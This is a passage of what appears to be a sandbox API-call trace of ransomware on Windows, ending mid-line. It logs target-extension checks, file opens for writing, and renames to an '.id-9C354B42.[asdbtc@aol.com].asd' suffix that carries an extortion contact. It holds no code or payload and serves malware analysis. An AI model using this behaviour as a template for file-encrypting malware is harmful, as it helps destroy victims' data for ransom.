[0059.564] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.564] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.564] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0059.564] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0059.564] lstrlenW (lpString=".doc") returned 4 [0059.564] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0059.564] lstrlenW (lpString=".docx") returned 5 [0059.564] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0059.564] lstrlenW (lpString=".pdf") returned 4 [0059.564] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0059.564] lstrlenW (lpString=".xls") returned 4 [0059.564] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0059.564] lstrlenW (lpString=".xlsx") returned 5 [0059.564] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0059.564] lstrlenW (lpString=".ppt") returned 4 [0059.564] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0059.564] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0059.564] lstrlenW (lpString=".zip") returned 4 [0059.565] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0059.565] lstrlenW (lpString=".rar") returned 4 [0059.565] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0059.565] lstrlenW (lpString=".bz2") returned 4 [0059.565] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0059.565] lstrlenW (lpString=".7z") returned 3 [0059.565] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0059.565] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0059.565] lstrlenW (lpString=".dbf") returned 4 [0059.565] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0059.565] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0059.565] lstrlenW (lpString=".1cd") returned 4 [0059.565] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0059.565] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0059.565] lstrlenW (lpString=".jpg") returned 4 [0059.565] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0059.565] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0059.565] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0059.565] lstrlenW (lpString=".doc") returned 4 [0059.565] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0059.565] lstrlenW (lpString=".docx") returned 5 [0059.565] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0059.565] lstrlenW (lpString=".pdf") returned 4 [0059.565] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0059.565] lstrlenW (lpString=".xls") returned 4 [0059.565] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0059.565] lstrlenW (lpString=".xlsx") returned 5 [0059.566] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0059.566] lstrlenW (lpString=".ppt") returned 4 [0059.566] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0059.566] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0059.566] lstrlenW (lpString=".zip") returned 4 [0059.566] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0059.566] lstrlenW (lpString=".rar") returned 4 [0059.566] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0059.566] lstrlenW (lpString=".bz2") returned 4 [0059.566] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0059.566] lstrlenW (lpString=".7z") returned 3 [0059.566] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0059.566] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0059.566] lstrlenW (lpString=".dbf") returned 4 [0059.566] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0059.566] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0059.566] lstrlenW (lpString=".1cd") returned 4 [0059.566] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0059.566] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png") returned 78 [0059.566] lstrlenW (lpString=".jpg") returned 4 [0059.566] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0059.566] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0059.566] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38 [0059.566] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0059.702] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=3130) returned 1 [0059.702] CloseHandle (hObject=0x188) returned 1 [0059.702] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0059.702] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.702] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.702] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0059.702] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0059.702] lstrlenW (lpString=".doc") returned 4 [0059.702] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0059.702] lstrlenW (lpString=".docx") returned 5 [0059.702] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0059.702] lstrlenW (lpString=".pdf") returned 4 [0059.702] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0059.702] lstrlenW (lpString=".xls") returned 4 [0059.702] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0059.703] lstrlenW (lpString=".xlsx") returned 5 [0059.703] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0059.703] lstrlenW (lpString=".ppt") returned 4 [0059.703] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0059.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0059.703] lstrlenW (lpString=".zip") returned 4 [0059.703] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0059.703] lstrlenW (lpString=".rar") returned 4 [0059.703] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0059.703] lstrlenW (lpString=".bz2") returned 4 [0059.703] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0059.703] lstrlenW (lpString=".7z") returned 3 [0059.703] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0059.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0059.703] lstrlenW (lpString=".dbf") returned 4 [0059.703] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0059.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0059.703] lstrlenW (lpString=".1cd") returned 4 [0059.703] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0059.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0059.703] lstrlenW (lpString=".jpg") returned 4 [0059.703] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0059.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0059.703] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0059.703] lstrlenW (lpString=".doc") returned 4 [0059.703] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0059.703] lstrlenW (lpString=".docx") returned 5 [0059.703] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0059.703] lstrlenW (lpString=".pdf") returned 4 [0059.703] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0059.703] lstrlenW (lpString=".xls") returned 4 [0059.703] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0059.704] lstrlenW (lpString=".xlsx") returned 5 [0059.704] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0059.704] lstrlenW (lpString=".ppt") returned 4 [0059.704] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0059.704] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0059.704] lstrlenW (lpString=".zip") returned 4 [0059.704] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0059.704] lstrlenW (lpString=".rar") returned 4 [0059.704] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0059.704] lstrlenW (lpString=".bz2") returned 4 [0059.704] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0059.704] lstrlenW (lpString=".7z") returned 3 [0059.704] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0059.704] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0059.704] lstrlenW (lpString=".dbf") returned 4 [0059.704] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0059.704] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0059.704] lstrlenW (lpString=".1cd") returned 4 [0059.704] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0059.704] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png") returned 91 [0059.704] lstrlenW (lpString=".jpg") returned 4 [0059.704] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0059.704] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0059.704] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0059.704] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0059.707] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=5025) returned 1 [0059.707] CloseHandle (hObject=0x188) returned 1 [0059.707] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png")) returned 0x20 [0059.707] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.707] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.707] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0059.707] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0059.707] lstrlenW (lpString=".doc") returned 4 [0059.708] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0059.708] lstrlenW (lpString=".docx") returned 5 [0059.708] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0059.708] lstrlenW (lpString=".pdf") returned 4 [0059.708] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0059.708] lstrlenW (lpString=".xls") returned 4 [0059.708] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0059.708] lstrlenW (lpString=".xlsx") returned 5 [0059.708] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0059.708] lstrlenW (lpString=".ppt") returned 4 [0059.708] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0059.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0059.708] lstrlenW (lpString=".zip") returned 4 [0059.708] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0059.708] lstrlenW (lpString=".rar") returned 4 [0059.708] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0059.708] lstrlenW (lpString=".bz2") returned 4 [0059.708] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0059.708] lstrlenW (lpString=".7z") returned 3 [0059.708] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0059.708] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0059.708] lstrlenW (lpString=".dbf") returned 4 [0059.708] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0062.559] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0062.559] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0062.560] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0062.561] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0062.561] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0062.562] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0062.562] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 Thread: id = 15 os_tid = 0x988 [0040.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x38a0480 [0040.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x38b0488 [0040.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5603c8 [0040.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5630b0 [0040.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5603e0 [0040.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3b90020 [0040.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5603f8 [0040.250] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5603f8, Size=0x20) returned 0x58f920 [0040.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5603f8 [0040.250] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5603f8, Size=0x20) returned 0x58f8f8 [0040.250] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0040.251] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0040.251] Wow64DisableWow64FsRedirection (in: OldValue=0x303ff58 | out: OldValue=0x303ff58*=0x0) returned 1 [0040.251] lstrlenW (lpString="kernel32.dll") returned 12 [0040.251] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f920 | out: hHeap=0x510000) returned 1 [0040.251] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.251] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58f8f8 | out: hHeap=0x510000) returned 1 [0040.251] Sleep (dwMilliseconds=0x64) [0040.499] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0040.499] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.499] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0040.499] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=89168) returned 1 [0040.499] CloseHandle (hObject=0x164) returned 1 [0040.499] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0040.499] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0040.500] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.500] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0040.500] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0040.500] lstrlenW (lpString=".doc") returned 4 [0040.500] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.500] lstrlenW (lpString=".docx") returned 5 [0040.500] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.500] lstrlenW (lpString=".pdf") returned 4 [0040.500] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.500] lstrlenW (lpString=".xls") returned 4 [0040.500] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0040.500] lstrlenW (lpString=".xlsx") returned 5 [0040.500] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0040.500] lstrlenW (lpString=".ppt") returned 4 [0040.500] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.500] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0040.500] lstrlenW (lpString=".zip") returned 4 [0040.500] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0040.500] lstrlenW (lpString=".rar") returned 4 [0040.500] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.500] lstrlenW (lpString=".bz2") returned 4 [0040.500] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.500] lstrlenW (lpString=".7z") returned 3 [0040.500] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.500] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0040.501] lstrlenW (lpString=".dbf") returned 4 [0040.501] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.501] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0040.501] lstrlenW (lpString=".1cd") returned 4 [0040.501] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.501] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0040.501] lstrlenW (lpString=".jpg") returned 4 [0040.501] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.501] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0040.501] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0040.501] lstrlenW (lpString=".doc") returned 4 [0040.501] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0040.501] lstrlenW (lpString=".docx") returned 5 [0040.501] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0040.501] lstrlenW (lpString=".pdf") returned 4 [0040.501] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0040.501] lstrlenW (lpString=".xls") returned 4 [0040.501] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0040.501] lstrlenW (lpString=".xlsx") returned 5 [0040.501] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0040.501] lstrlenW (lpString=".ppt") returned 4 [0040.501] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0040.501] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0040.501] lstrlenW (lpString=".zip") returned 4 [0040.501] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0040.501] lstrlenW (lpString=".rar") returned 4 [0040.501] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0040.501] lstrlenW (lpString=".bz2") returned 4 [0040.502] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0040.502] lstrlenW (lpString=".7z") returned 3 [0040.502] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.502] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0040.502] lstrlenW (lpString=".dbf") returned 4 [0040.502] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0040.502] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0040.502] lstrlenW (lpString=".1cd") returned 4 [0040.502] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.502] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0040.502] lstrlenW (lpString=".jpg") returned 4 [0040.502] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0040.502] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0040.502] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.502] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0040.502] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=87616) returned 1 [0040.502] CloseHandle (hObject=0x164) returned 1 [0040.503] GetFileAttributesW 